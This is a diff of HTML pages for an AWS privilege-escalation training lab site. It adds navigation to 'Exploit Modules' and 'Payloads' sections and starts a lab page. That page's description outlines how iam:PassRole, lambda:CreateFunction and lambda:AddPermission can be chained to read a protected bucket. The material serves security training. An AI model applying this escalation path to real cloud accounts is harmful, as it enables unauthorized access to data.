+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/lambda-005/index.html b/docs/labs/lambda-005/index.html
index 205af83d..57c5760c 100644
--- a/docs/labs/lambda-005/index.html
+++ b/docs/labs/lambda-005/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/lambda-006-to-bucket/index.html b/docs/labs/lambda-006-to-bucket/index.html
new file mode 100644
index 00000000..01eccb07
--- /dev/null
+++ b/docs/labs/lambda-006-to-bucket/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Lambda Function Creation + Permission Grant to Bucket - pathfinding.cloud Labs</title>
+    <meta name="description" content="User with iam:PassRole, lambda:CreateFunction, and lambda:AddPermission can create a new Lambda function with an S3-scoped role, add permission to invoke it, and execute code that reads the target bucket&#x27;s flag">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/lambda-006-to-bucket/">
+    <meta property="og:title" content="Lambda Function Creation + Permission Grant to Bucket - pathfinding.cloud Labs">
+    <meta property="og:description" content="User with iam:PassRole, lambda:CreateFunction, and lambda:AddPermission can create a new Lambda function with an S3-scoped role, add permission to invoke it, and execute code that reads the target bucket&#x27;s flag">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="Lambda Function Creation + Permission Grant to Bucket - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="User with iam:PassRole, lambda:CreateFunction, and lambda:AddPermission can create a new Lambda function with an S3-scoped role, add permission to invoke it, and execute code that reads the target bucket&#x27;s flag">
